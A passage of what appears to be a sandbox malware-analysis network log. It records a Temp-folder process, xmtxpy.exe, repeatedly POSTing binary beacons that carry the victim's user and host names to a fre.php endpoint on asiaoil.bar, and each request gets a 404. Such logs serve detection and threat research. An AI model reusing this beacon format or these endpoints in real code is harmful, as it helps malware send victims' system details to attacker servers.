Feb 10, 2022 10:22:18.601130009 CET	339	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 37 00 30 00 34 00 36 00 37 00 32 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus704672ALBUS-PC0DE4229FCF97F5879F50F8FD3
Feb 10, 2022 10:22:18.688278913 CET	340	IN	HTTP/1.1 404 Not Found Date: Thu, 10 Feb 2022 09:22:18 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=KHC3Edk5h9AYeBTw4zi6GBAjPXoz6AEM7UyHRy8hW3je7zgNBBmtdwVwGpiSZh81JKEYltIiJgER6JT21WX3XjM2N0XFbkBnufuzgMA76%2Bp7Xcs80ietpmWj4LHaRg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6db445b23bfc8fec-FRA Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
17	192.168.2.22	49182	172.67.197.66	80	C:\Users\user\AppData\Local\Temp\xmtxpy.exe

Timestamp	kBytes transferred	Direction	Data
Feb 10, 2022 10:22:20.304832935 CET	341	OUT	POST //bobby/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: asiaoil.bar Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 579BFA72 Content-Length: 149 Connection: close
Feb 10, 2022 10:22:20.321175098 CET	341	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 37 00 30 00 34 00 36 00 37 00 32 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus704672ALBUS-PC0DE4229FCF97F5879F50F8FD3
Feb 10, 2022 10:22:20.398272991 CET	342	IN	HTTP/1.1 404 Not Found Date: Thu, 10 Feb 2022 09:22:20 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=QULp3ZlAMhwUjANw1YvL4%2BMJk9Z%2FbESFzhJWPA0iK5uawopHl0uiRldRAdRBGHJQS%2BTh9FZdQ4ZFWsS9QSIa12g5o6LPT8XtnzGfCgSERqmR9OTXY0oGiJOB7t3gug%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6db445bcfe999158-FRA Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
18	192.168.2.22	49183	172.67.197.66	80	C:\Users\user\AppData\Local\Temp\xmtxpy.exe

Timestamp	kBytes transferred	Direction	Data
Feb 10, 2022 10:22:21.371169090 CET	342	OUT	POST //bobby/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: asiaoil.bar Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 579BFA72 Content-Length: 149 Connection: close
Feb 10, 2022 10:22:21.387509108 CET	343	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 37 00 30 00 34 00 36 00 37 00 32 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus704672ALBUS-PC0DE4229FCF97F5879F50F8FD3
Feb 10, 2022 10:22:21.466526985 CET	343	IN	HTTP/1.1 404 Not Found Date: Thu, 10 Feb 2022 09:22:21 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=jiD84uKNL21I2ykVJEfn%2Fe2gpHIc0bS1RI%2FxuxHXAll6ytxzAqIMdpyZN%2FG8qWdDRDaJWS8n4CpPnVVPzZ%2BUtnIhRTImE9cuCSP7f%2BgqcZKxN4KBiYwynSKxXPUruQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6db445c39a1192b3-FRA Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
19	192.168.2.22	49184	172.67.197.66	80	C:\Users\user\AppData\Local\Temp\xmtxpy.exe

Timestamp	kBytes transferred	Direction	Data
Feb 10, 2022 10:22:22.490195036 CET	344	OUT	POST //bobby/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: asiaoil.bar Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 579BFA72 Content-Length: 149 Connection: close
Feb 10, 2022 10:22:22.506509066 CET	345	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 37 00 30 00 34 00 36 00 37 00 32 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus704672ALBUS-PC0DE4229FCF97F5879F50F8FD3
Feb 10, 2022 10:22:22.588881016 CET	345	IN	HTTP/1.1 404 Not Found Date: Thu, 10 Feb 2022 09:22:22 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=IYa8QLbJBtkMewci%2Fy3c8YjBFq4dsPE33C%2B67GR4NBQNLJZRdPOw48%2FtcUb%2BG8a9XxJsc%2FLHxAkXJbNtsVOHlmNJ8KgW%2BxJlAyE6l%2FjEcOW2fEoq4xgfX4aQ5RZPHw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6db445ca9c095c5c-FRA Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.22	49167	172.67.197.66	80	C:\Users\user\AppData\Local\Temp\xmtxpy.exe

Timestamp	kBytes transferred	Direction	Data
Feb 10, 2022 10:22:02.840347052 CET	314	OUT	POST //bobby/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: asiaoil.bar Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 579BFA72 Content-Length: 176 Connection: close
Feb 10, 2022 10:22:02.856580973 CET	314	OUT	Data Raw: 12 00 27 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 37 00 30 00 34 00 36 00 37 00 32 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: 'ckav.ruAlbus704672ALBUS-PC+0DE4229FCF97F5879F50F8FD3dFvzt
Feb 10, 2022 10:22:02.975469112 CET	315	IN	HTTP/1.1 404 Not Found Date: Thu, 10 Feb 2022 09:22:02 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=SYIeoMifwVUCSlJ5xQ%2FPPGpv3kxeM8Le4fFZcBSBNQE%2F00nQuzz6hHD2E4yzDxCDvC4GoHGHI7XDrLhEy10sRiqxImrim07qG7zifuLYaSXjE11cVB6vD4NlHq2qFQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6db4454fc86b917d-FRA Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
20	192.168.2.22	49185	104.21.49.244	80	C:\Users\user\AppData\Local\Temp\xmtxpy.exe

Timestamp	kBytes transferred	Direction	Data
Feb 10, 2022 10:22:23.504559040 CET	346	OUT	POST //bobby/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: asiaoil.bar Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 579BFA72 Content-Length: 149 Connection: close
Feb 10, 2022 10:22:23.520739079 CET	346	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 37 00 30 00 34 00 36 00 37 00 32 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus704672ALBUS-PC0DE4229FCF97F5879F50F8FD3
Feb 10, 2022 10:22:23.595321894 CET	347	IN	HTTP/1.1 404 Not Found Date: Thu, 10 Feb 2022 09:22:23 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=sM0ogIKfjYVzx%2F54CqSfhjTPc7gH6ECGRuTp6F6Pr791MX1PGLDWaUif41h1edR%2Bl8fsnqA1lYGZ15EqZyjj3xPhB0TdXiYdmWCIYNqlsiw0OjpK0OItnrzqYCRU8w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6db445d0fcca9217-FRA Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
21	192.168.2.22	49186	104.21.49.244	80	C:\Users\user\AppData\Local\Temp\xmtxpy.exe

Timestamp	kBytes transferred	Direction	Data
Feb 10, 2022 10:22:24.588293076 CET	348	OUT	POST //bobby/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: asiaoil.bar Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 579BFA72 Content-Length: 149 Connection: close
Feb 10, 2022 10:22:24.604518890 CET	348	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 37 00 30 00 34 00 36 00 37 00 32 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus704672ALBUS-PC0DE4229FCF97F5879F50F8FD3
Feb 10, 2022 10:22:24.674747944 CET	349	IN	HTTP/1.1 404 Not Found Date: Thu, 10 Feb 2022 09:22:24 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=16XyyasiijTs3mtooXtiXEBC3sVd%2FX3IpmrXnVgvAF7rYQXutsuLPMsIWRmqeVqbfgT1uHpXHgFEG6cA94%2Bl1vC5elQ%2F7riyngPQJHQv7Taa1Xkm5yxHj1vPsREEwg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6db445d7baaa91f3-FRA Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
22	192.168.2.22	49187	172.67.197.66	80	C:\Users\user\AppData\Local\Temp\xmtxpy.exe

Timestamp	kBytes transferred	Direction	Data
Feb 10, 2022 10:22:25.593017101 CET	350	OUT	POST //bobby/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: asiaoil.bar Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 579BFA72 Content-Length: 149 Connection: close
Feb 10, 2022 10:22:25.609266043 CET	350	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 37 00 30 00 34 00 36 00 37 00 32 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus704672ALBUS-PC0DE4229FCF97F5879F50F8FD3
Feb 10, 2022 10:22:25.698025942 CET	351	IN	HTTP/1.1 404 Not Found Date: Thu, 10 Feb 2022 09:22:25 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=lZXOqBbo1prOUCtgEa8VHKBOX3aiUpw4bwcinIO5LwxwVfvhzB3YO83i0Uy1VUFZYvJDn%2BFVM2Qbb2QX9GH1gNr8iN7INb%2BqvuODkDJIVQrU84Oc3fT4Y6qVHDQFlw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6db445ddfbe390f4-FRA Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
23	192.168.2.22	49188	172.67.197.66	80	C:\Users\user\AppData\Local\Temp\xmtxpy.exe

Timestamp	kBytes transferred	Direction	Data
Feb 10, 2022 10:22:26.671474934 CET	351	OUT	POST //bobby/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: asiaoil.bar Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 579BFA72 Content-Length: 149 Connection: close
Feb 10, 2022 10:22:26.687769890 CET	352	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 37 00 30 00 34 00 36 00 37 00 32 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus704672ALBUS-PC0DE4229FCF97F5879F50F8FD3
Feb 10, 2022 10:22:26.773804903 CET	352	IN	HTTP/1.1 404 Not Found Date: Thu, 10 Feb 2022 09:22:26 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Z6CwJYTVGa3AnJcsAqL3zNlmjIgfexUkjM4cyDshIwsGRdfYIgN3bflXQh2onteNJ926X8WPY94crt1e3EfkgcxXiKtHHMa5TzW7hc2Hyll4xmtK3kqtsPyKPeb2HQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6db445e4bcca91ed-FRA Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
24	192.168.2.22	49189	172.67.197.66	80	C:\Users\user\AppData\Local\Temp\xmtxpy.exe

Timestamp	kBytes transferred	Direction	Data
Feb 10, 2022 10:22:27.690156937 CET	353	OUT	POST //bobby/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: asiaoil.bar Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 579BFA72 Content-Length: 149 Connection: close
Feb 10, 2022 10:22:27.707482100 CET	353	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 37 00 30 00 34 00 36 00 37 00 32 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus704672ALBUS-PC0DE4229FCF97F5879F50F8FD3
Feb 10, 2022 10:22:27.795358896 CET	354	IN	HTTP/1.1 404 Not Found Date: Thu, 10 Feb 2022 09:22:27 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=KFC3rc2PYyOGWitcWjhM03gTv0UwrpD%2FeLJzaq90%2BkjJJnsYFLs3%2B9G23tgPe1ch9t2Z3Xrks%2BoXkXgsLvtmsDrXa8JBOdIJfr6DqInywGS59STYxucek4Q2WmLQpw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6db445eb1e9f9189-FRA Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
25	192.168.2.22	49190	172.67.197.66	80	C:\Users\user\AppData\Local\Temp\xmtxpy.exe

Timestamp	kBytes transferred	Direction	Data
Feb 10, 2022 10:22:29.085941076 CET	355	OUT	POST //bobby/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: asiaoil.bar Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 579BFA72 Content-Length: 149 Connection: close
Feb 10, 2022 10:22:29.102108955 CET	355	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 37 00 30 00 34 00 36 00 37 00 32 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus704672ALBUS-PC0DE4229FCF97F5879F50F8FD3
Feb 10, 2022 10:22:29.188222885 CET	356	IN	HTTP/1.1 404 Not Found Date: Thu, 10 Feb 2022 09:22:29 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=uD7gJsujl0qEAxulzRwvTC2Sbt%2Bi4TFWvsjpt5CDloaVfn3Dt69l4iJM31MUngIv0nBezN298VraYSCFYdNpO%2FbJ4t7%2BWNOgx7HdyUwSUfBLC4eOt4PcY93RnkUHlQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6db445f3db6a5b3e-FRA Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
26	192.168.2.22	49191	172.67.197.66	80	C:\Users\user\AppData\Local\Temp\xmtxpy.exe

Timestamp	kBytes transferred	Direction	Data
Feb 10, 2022 10:22:30.799654961 CET	357	OUT	POST //bobby/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: asiaoil.bar Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 579BFA72 Content-Length: 149 Connection: close
Feb 10, 2022 10:22:30.818408966 CET	357	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 37 00 30 00 34 00 36 00 37 00 32 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus704672ALBUS-PC0DE4229FCF97F5879F50F8FD3
Feb 10, 2022 10:22:30.894473076 CET	358	IN	HTTP/1.1 404 Not Found Date: Thu, 10 Feb 2022 09:22:30 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Wvu1d3Vbzy6ZrTPTFWBGN7iEn1tx2RtWGRh2C76Vr5y%2B0NzzM1MCSCMy1A4AVEtbLBuKmRIr5zzqHNenni2AJ%2BwOtJJ179UjFozvWTm5cwFRvpN7D1tfeYfx%2FVlSLg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6db445fe9dc491ed-FRA Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
27	192.168.2.22	49192	172.67.197.66	80	C:\Users\user\AppData\Local\Temp\xmtxpy.exe

Timestamp	kBytes transferred	Direction	Data
Feb 10, 2022 10:22:31.879954100 CET	359	OUT	POST //bobby/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: asiaoil.bar Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 579BFA72 Content-Length: 149 Connection: close
Feb 10, 2022 10:22:31.897677898 CET	359	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 37 00 30 00 34 00 36 00 37 00 32 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus704672ALBUS-PC0DE4229FCF97F5879F50F8FD3
Feb 10, 2022 10:22:31.985625029 CET	359	IN	HTTP/1.1 404 Not Found Date: Thu, 10 Feb 2022 09:22:31 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=7e4ivEN%2FfJbqg0IR30Nk7YLjE6R7gK9YQJH1DfEk3kbRoonUj0tMEraY%2BRjwLn7cP%2BNl78SF30VWW7AmBXj15TgGfudTHrRaK3bi%2FP7OjjFNWbyUKgOHiQu4SXY%2FXw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6db446054d3a9274-FRA Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
28	192.168.2.22	49193	172.67.197.66	80	C:\Users\user\AppData\Local\Temp\xmtxpy.exe

Timestamp	kBytes transferred	Direction	Data
Feb 10, 2022 10:22:32.951127052 CET	360	OUT	POST //bobby/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: asiaoil.bar Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 579BFA72 Content-Length: 149 Connection: close
Feb 10, 2022 10:22:32.967331886 CET	361	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 37 00 30 00 34 00 36 00 37 00 32 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus704672ALBUS-PC0DE4229FCF97F5879F50F8FD3
Feb 10, 2022 10:22:33.053421974 CET	361	IN	HTTP/1.1 404 Not Found Date: Thu, 10 Feb 2022 09:22:33 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=WPprCDT9p343%2B%2BVa2BjaOyqYMB95UNCR5Ua%2FE%2FsZWRzD2F%2FUvoXHTkn2yAiBthKWkFusxeyRDME7Rpcj9nFv2dMiYrPffSB1GdxIUmMvBnBIuGG6eMWuphVFNIVyRA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6db4460bfe8a9168-FRA Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
29	192.168.2.22	49194	172.67.197.66	80	C:\Users\user\AppData\Local\Temp\xmtxpy.exe

Timestamp	kBytes transferred	Direction	Data
Feb 10, 2022 10:22:34.006464005 CET	362	OUT	POST //bobby/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: asiaoil.bar Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 579BFA72 Content-Length: 149 Connection: close
Feb 10, 2022 10:22:34.022774935 CET	362	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 37 00 30 00 34 00 36 00 37 00 32 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus704672ALBUS-PC0DE4229FCF97F5879F50F8FD3
Feb 10, 2022 10:22:34.138065100 CET	363	IN	HTTP/1.1 404 Not Found Date: Thu, 10 Feb 2022 09:22:34 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=wShLmzxohhsviCUMQ%2FlqpiKLuE1FOqvf4YebS5qugs3Dzn05nwu27HDgM4qgHb10Sommq5Eo%2FITERtrckpOYW58EIm11S3Cxr5FX3Wb1wYzMe0KX2DB0%2FCIuyrBw%2BQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6db4461298c49180-FRA Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.22	49168	172.67.197.66	80	C:\Users\user\AppData\Local\Temp\xmtxpy.exe

Timestamp	kBytes transferred	Direction	Data
Feb 10, 2022 10:22:03.831670046 CET	316	OUT	POST //bobby/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: asiaoil.bar Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 579BFA72 Content-Length: 149 Connection: close
Feb 10, 2022 10:22:03.848067045 CET	316	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 37 00 30 00 34 00 36 00 37 00 32 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus704672ALBUS-PC0DE4229FCF97F5879F50F8FD3
